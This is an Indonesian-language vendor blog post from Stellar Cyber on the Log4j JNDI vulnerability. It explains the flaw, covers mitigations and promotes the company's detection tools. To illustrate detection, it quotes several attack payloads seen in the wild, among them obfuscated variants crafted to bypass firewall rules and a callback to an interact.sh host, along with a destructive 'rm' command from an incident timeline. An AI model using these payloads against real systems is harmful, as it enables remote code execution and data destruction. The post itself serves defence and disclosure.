Stellar Cyber: Deteksi Kerentanan dan Eksploitasi Log4j

Albert Zhichun Li

1. Pengantar

Dalam beberapa hari terakhir, kerentanan Log4j yang serius (CVE-2021-44228, CVE-2021-45046) hampir menimbulkan badai yang sempurna di dunia Internet. Sebagai utilitas pencatatan Java yang banyak digunakan dengan kerentanan yang mudah dieksploitasi, Log4j tidak diragukan lagi telah membuat para profesional TI dan perusahaan gelisah dan banyak pertanyaan telah diajukan – Apa kerentanan ini? Bagaimana saya bisa tahu jika sistem kami rentan? Apakah infrastruktur TI saya telah dilanggar? Apa yang dapat saya lakukan untuk mencegah serangan di masa mendatang yang memanfaatkan kerentanan ini?

Di Stellar Cyber, kami telah memantau situasi dengan saksama, dan kami hadir untuk memberikan masukan dan saran kepada pelanggan dan mitra kami saat ini dan calon pelanggan saat mereka menavigasi ketidakpastian yang ditimbulkan oleh kerentanan Log4j ini.

2. Dampak dan Mitigasi

Menurut CVE-2021-44228, Apache Log4j2 apa pun sebelum v2.15.0 dipengaruhi oleh kerentanan karena interpolasi string yang tidak dicentang dengan Penamaan Java dan Antarmuka Direktori Pencarian (JNDI). Penyerang yang memiliki pengetahuan untuk menyuntikkan data ke dalam pesan log dapat membuat dan menyuntikkan ekspresi interpolasi JNDI berformat khusus untuk memuat dan mengeksekusi kode arbitrer dari titik akhir JNDI yang ditentukan (misalnya, server LDAP) saat ekspresi interpolasi dievaluasi oleh Log4j.

Dampak dari kerentanan ini diperkirakan akan meluas karena penggunaan Log4j yang luas di banyak aplikasi perangkat lunak populer dan mudah dieksploitasi. Komunitas keamanan telah melacak situs web, perangkat lunak, komponen sumber terbuka, dan produsen lain yang menggunakan Log4j, dan mengonfirmasi bahwa bahkan beberapa perusahaan merek besar rentan.

Untuk mengurangi kerentanan ini, kami menyarankan pelanggan dan mitra kami untuk memperbarui Log4j mereka yang ada ke v2.15.0, yang mana perilaku terkait JNDI dinonaktifkan secara default. Jika peningkatan segera bukan merupakan pilihan, mitigasi lainnya adalah dengan menetapkan properti sistem log4j2.formatMsgNoLookups untuk benar (berlaku untuk v2.10+) atau untuk menghapus Pencarian Jndi kelas dari classpath (berlaku untuk Log4j sebelum v2.10 melalui zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

Selain itu, kami menyarankan agar pelanggan dan mitra kami memperbarui Java mereka setidaknya ke versi 6u211, 7u201, 8u191, atau 11.0.1 di mana pemuatan kelas jarak jauh JNDI dinonaktifkan secara default.

Untuk aplikasi perangkat lunak tertentu yang menggunakan Log4j dan terpengaruh oleh kerentanan ini, silakan hubungi vendor perangkat lunak untuk menerapkan patch yang sesuai sesegera mungkin.

3. Detail Teknis

In CVE-2021-44228, ada dua bagian penting dan relevan yang membentuk kerentanan: Penamaan Java dan Antarmuka Direktori (JNDI) dengan fungsionalitas pemanggilan metode jarak jauh, dan dukungan Log4j untuk interpolasi log dengan pencarian JNDI.

Penamaan Java dan Antarmuka Direktori (JNDI, Gambar 1) adalah fitur kuno namun masih berguna yang berasal dari Java 2 v1.3. Fitur ini menyediakan fungsi penamaan dan direktori ke aplikasi Java, sehingga aplikasi dapat memanggil berbagai penyedia layanan melalui JNDI seperti Protokol Akses Direktori Ringan (LDAP). Misalnya, aplikasi Java dapat meneruskan URL ldap://beberapa-server-ldap:389/o=SomeObjectID melalui JNDI ke server LDAP yang didukung beberapa-server-ldap untuk menemukan dan memanggil objek jarak jauh BeberapaObjek.

Gambar 1. Arsitektur Java Naming and Directory Interface (JNDI)
(https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html)

pada Log4j Di sisi lain, dukungan pencarian JNDI pertama kali diperkenalkan di v2.0 pada tahun 2013 atas permintaan penggunanya untuk fitur pencatatan yang canggih. Sejak saat itu, Log4j telah memungkinkan pengembang untuk menggunakan interpolasi string dengan JNDI dalam pesan log. Misalnya, seseorang dapat menulis logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}"), dan Log4j akan mengevaluasi ekspresi interpolasi dan memanggil JNDI yang sesuai untuk mengambil data yang merupakan pesan log dari server jarak jauh.

Akhirnya, delapan tahun kemudian pada tanggal 30 November 2021, log4j tim telah disadarkan kerentanan eksekusi kode jarak jauh sebagai akibat dari kombinasi interpolasi log dengan pencarian JNDI. Seminggu kemudian, hampir semua orang di komunitas keamanan dan industri TI mendapat informasi dan mulai panik dengan satu atau lain cara.

Konsekuensi dari kerentanan ini akan sangat buruk bukan hanya karena Log4j digunakan secara luas, tetapi juga karena orang-orang telah menggunakan Log4j dengan cara yang terlalu sempurna dan terlalu mudah untuk dieksploitasi oleh penyerang.

Seperti yang dapat kita lihat dari contoh yang disebutkan sebelumnya, logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}"), untuk berhasil mengeksploitasi kerentanan ini, penyerang perlu mengetahui jenis data yang disuntikkan yang pada akhirnya akan dicatat di suatu tempat oleh sistem korban menggunakan Log4j. Kenyataannya, ini adalah hasil yang mudah bagi penyerang yang memiliki sedikit keakraban dengan aplikasi berbasis jaringan modern, di mana ada praktik umum untuk mencatat setiap permintaan termasuk URL, string kueri, dan agen pengguna.

Di Stellar Cyber, kami telah memantau upaya eksploitasi yang dilakukan terhadap pelanggan dan mitra kami dalam seminggu terakhir. Deteksi Anomali Agen Pengguna yang didukung pembelajaran mesin kami telah mendeteksi rangkaian agen pengguna yang tidak lazim seperti:

  • ${jndi:ldap://xxx.xxx.xxx.xxx:2222/lx-ffff82fd0128500008eac5b861000000005a8343}
  • ${jndi:${lower:l}${lower:d}a${lower:p}://xxx.x:80/callback}
  • ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6sg0p8vc25qalcfvemgcghoy4yyyyyjo.interact.sh}

Di antara sampel-sampel tersebut, kami menemukan bahwa penyerang telah menyelidiki berbagai cara untuk mengeksploitasi kerentanan – tidak hanya dengan menggunakan bentuk vanilla, tetapi juga dengan membuat berbagai variasi untuk menghindari Web Application Firewall berbasis aturan yang mencoba untuk mencocokkan ${jndi:ldap*.

Meskipun belum ada kasus yang diketahui di mana penyerang mengeksploitasi kerentanan dan berhasil menyebabkan konsekuensi yang parah, namun perlu dicatat bahwa bahkan penyelidikan sederhana, misalnya, upaya untuk mengeksploitasi kerentanan dengan DNSLog untuk menyelidiki apakah sistem target rentan, masih dapat menimbulkan kerusakan karena penyerang mungkin sedang mengumpulkan aset masa depan saat ini.

4. Bagaimana Stellar Cyber ​​Dapat Membantu

Di Stellar Cyber, kami menyediakan berbagai alat bagi pelanggan dan mitra kami untuk mempertahankan diri dari serangan yang mengeksploitasi CVE-2021-44228.
Melalui penyedia intelijen ancaman kami, Stellar Cyber ​​Security Sensor (SDS) telah memiliki tanda tangan terkini untuk mendeteksi eksploitasi umum CVE-2021-44228.

4.1 Peringatan Stellar tentang Deteksi Eksploitasi

Saat ini kami menawarkan jenis peringatan berikut yang mendeteksi tanda tangan IDS baru atau lonjakan tanda tangan IDS:

  • – Anomali Eksploitasi Publik ke Pribadi
  • – Anomali Eksploitasi Pribadi ke Publik
  • – Anomali Eksploitasi Pribadi ke Pribadi
  • – Anomali Eksploitasi Publik ke Publik

Harap perhatikan peringatan ini dengan "log4j" dalam deskripsi peringatan atau ids.signature lapangan.

4.2 ATH untuk Melacak Tanda Tangan Apache Log4j yang Cocok

Jika Anda ingin melacak semua contoh tanda tangan Apache Log4j yang cocok, Anda dapat mempertimbangkan untuk membuat aturan berikut (Perhatian: aturan ini dapat membuat sejumlah besar peringatan):

  • - Mencari Peristiwa ML-IDS/Malware Sandbox indeks dengan kueri ids.signature: log4j.

4.3 Pengintaian URL dan Deteksi Anomali Agen Pengguna

Dengan penyerang mengeksplorasi berbagai variasi eksploitasi, deteksi anomali bertenaga AI kami (Gambar 2) juga membantu mendeteksi upaya tidak langsung atau tidak biasa.

Kami menemukan beberapa upaya tidak langsung dari Deteksi Anomali Pengintaian URL dengan Log4j di bagian URL untuk mengeksploitasi kerentanan melalui aplikasi web Java. Upaya tersebut biasanya melibatkan penyerang yang memindai halaman untuk dieksploitasi, yang menyebabkan sejumlah besar kesalahan HTTP 4xx, yang dapat dideteksi oleh Deteksi Anomali Pengintaian URL.

Karena string User-Agent merupakan cara utama eksploitasi menurut pengamatan kami, Deteksi Anomali User-Agent kami juga merupakan alat yang berguna. Alat ini mendeteksi string User-Agent yang belum pernah terlihat sebelumnya atau sangat jarang terlihat, sehingga dapat memberikan pertahanan tambahan terhadap tren eksploitasi yang meningkat.

Untuk mencari "log4j" langsung di semua peringatan mungkin masuk akal. (Perhatian: ini adalah kueri yang sangat mahal, mohon jangan mencoba pada data mentah yang dapat menyebabkan kelebihan beban data lake.)

Gambar 2. Pengintaian URL dan Deteksi Anomali Agen Pengguna

4.4 Korelasi Insiden

Upaya untuk mengeksploitasi CVE-2021-44228 mungkin hanya berupa satu tindakan yang menghasilkan satu peringatan dari deteksi kami. Untuk menyelidiki lebih lanjut dan melacak potensi serangan yang sedang berlangsung terkait dengan Log4j yang mudah dieksploitasi, kami menyediakan fitur Insiden tambahan (Gambar 3) untuk menghubungkan serangkaian peringatan dan entitas yang saling terkait yang merupakan serangan terpadu yang potensial (yaitu, insiden) untuk visibilitas dan pengelolaan keamanan yang lebih baik. Kami menggunakan kemampuan pembelajaran mesin untuk menghasilkan insiden secara otomatis, mengelompokkan peringatan terkait ke dalam insiden terpadu untuk meningkatkan resolusi serangan.

Gambar 3. Korelasi Insiden Stellar Cyber

Seperti yang dapat kita lihat pada Gambar 4, yang menunjukkan tampilan garis waktu terperinci dari sebuah insiden dengan CVE-2021-44228 eksploitasi, Korelasi Insiden kami secara otomatis menyatukan tiga peringatan yang sangat berkorelasi dari tiga deteksi berbeda yang diurutkan berdasarkan waktu terjadinya: pertama anomali User-Agent di mana penyerang mencoba menyuntikkan string User-Agent berbahaya dari 10.11.191.95 ke 10.11.190.88, diikuti oleh proses abnormal yang terdeteksi pada 10.11.190.88, dan diakhiri dengan anomali perintah yang mengeksekusi perintah berbahaya xargs -r -0 rm -f.

Gambar 3. Korelasi Insiden Stellar Cyber

5. Kesimpulan

Dalam postingan ini, kami telah berbagi hasil yang kami peroleh CVE-2021-44228 dan telah memberikan saran kepada pelanggan dan mitra kami saat ini dan yang akan datang, dan kami juga telah menunjukkan bagaimana Stellar Cyber ​​dapat menyelamatkan Anda dalam masa yang tidak pasti ini. Sebagai pengingat terakhir, pastikan untuk menambal dan memperbarui perangkat lunak yang terdampak, termasuk Log4j (to v2.15.0+) and Java (to at least 6u211, 7u201, 8u191, or 11.0.1).

Gulir ke Atas